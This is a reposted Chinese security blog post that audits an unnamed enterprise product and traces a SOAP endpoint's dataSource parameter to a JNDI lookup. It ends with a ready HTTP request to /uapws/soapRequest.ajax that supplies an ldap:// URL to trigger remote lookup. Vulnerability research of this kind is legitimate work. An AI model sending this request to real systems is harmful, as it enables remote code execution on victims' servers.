手把手教你审计某友漏洞

admin 2023年10月24日11:44:01评论134 views字数 2575阅读8分35秒阅读模式

免责声明:

本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。

0x01 代码审计

首先查看其中一个模块的映射配置

       手把手教你审计某友漏洞

经分析,这里所有的映射均可利用,以SoapRequestAction类为例

手把手教你审计某友漏洞

首先查看SoapRequestAction的流程,在execuse方法中获取了两个参数,ws、soap

手把手教你审计某友漏洞

然后将两个参数传进sendRequest方法,在sendRequest方法中,会根据传进的ws参数去查找对应的soap接口服务

手把手教你审计某友漏洞

传进来的soap参数则作为soap接口参数来进行请求

手把手教你审计某友漏洞

从上面流程得知这是一个soap服务

参数表现为:

ws=webservice接口&soap=webservice接口参数    

接下来查找可以利用的webservice接口

在IMsgCenterWebService.wsdl接口文档中,存在很多个字符串参数dataSource,根据字面意思,假设他存在一个数据源连接功能

手把手教你审计某友漏洞

需要跟进相应方法查看参数是否真的是数据源连接功能,能不能用作jdbc反序列化      

根据接口文档名称,得到接口类nc.itf.msgcenter.IMsgCenterWebService,我们以uploadAttachment方法为例跟进

手把手教你审计某友漏洞

图中接口对应的实现类为

MsgCenterWebServiceImpl.class

在该实现类的uploadAttachment方法中又调用IMsgCenterService接口的实现

手把手教你审计某友漏洞

查看IMsgCenterService接口

手把手教你审计某友漏洞

对应的实现类

MsgCenterServiceImpl.class

在uploadAttachment方法中,会将我们前面注意到的dataSource等参数传进resetInvacationInfoByMsgID方法做处理

手把手教你审计某友漏洞

跟进resetInvacationInfoByMsgID方法,参数传进来后,首先是做了一个初始化。具体为:将参数dataSource设置为UserDataSource的值,以供后面的流程调用

手把手教你审计某友漏洞

另一个传进的参数pk_sourcemsg则是传进retrieveByPK方法做查询

手把手教你审计某友漏洞

继续跟进流程

BaseDAO.class

在retrieveByPK方法中,封装了一个manager对象,这里的dataSource是上面说到设置的UserDataSource值,即传进的参数dataSource

手把手教你审计某友漏洞

跟进createPersistenceManager方法

手把手教你审计某友漏洞

PersistenceManager.getInstance返回的是他的子类JdbcPersistenceManager

手把手教你审计某友漏洞

所以跟进JdbcPersistenceManager

JdbcPersistenceManager.class

在JdbcPersistenceManager对象中做了一次初始化,此时的dataSource就是传进的参数dataSource

手把手教你审计某友漏洞

接着进入到init方法,在init方法中,又使用JdbcSession对象来处理dataSource

手把手教你审计某友漏洞

查看JdbcSession.class

在构造函数JdbcSession里对dataSource进行连接

手把手教你审计某友漏洞

具体看getConnection方法:

手把手教你审计某友漏洞

往下就是触发流程了

DataSourceCenter.class      

变量name是传进的参数dataSource,在DataSourceCenter.getConnection方法中将参数传递到Context.lookup,到这里就可以确定这是一个jndi注入了,与JDBC反序列化无瓜

手把手教你审计某友漏洞

手把手教你审计某友漏洞

       

0x02 验证

根据IMsgCenterWebService.wsdl接口文档构造soap参数 

POST /uapws/soapRequest.ajax HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestContent-Length: 783Connection: close
ws=nc.itf.msgcenter.IMsgCenterWebService&soap=<?xml version="1.0" encoding="UTF-8"?><env:Envelop xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sn="http://msgcenter.itf.nc/IMsgCenterWebService"> <env:Header/> <env:Body> <sn:uploadAttachment> <dataSource>ldap://0.0.0.0:1389/Test</dataSource> <msgtype>?</msgtype> <pk_sourcemsg>?</pk_sourcemsg> <filename>?</filename> <file>?</file> </sn:uploadAttachment> </env:Body></env:Envelop>

手把手教你审计某友漏洞     

0x03 总结

在审计时一度以为这是一个jdbc反序列化,给人错觉的地方太多了,好在最后验证时成功了,且报错的内容与过程看到的一致

0x04 加入我们

后台回复“加群”或“小助手”,或扫描下方二维码加入我们的付费圈子,一起进步吧


手把手教你审计某友漏洞

手把手教你审计某友漏洞

原文始发于微信公众号(Lambda小队):手把手教你审计某友漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月24日11:44:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   手把手教你审计某友漏洞https://cn-sec.com/archives/2140018.html

发表评论

匿名网友 填写信息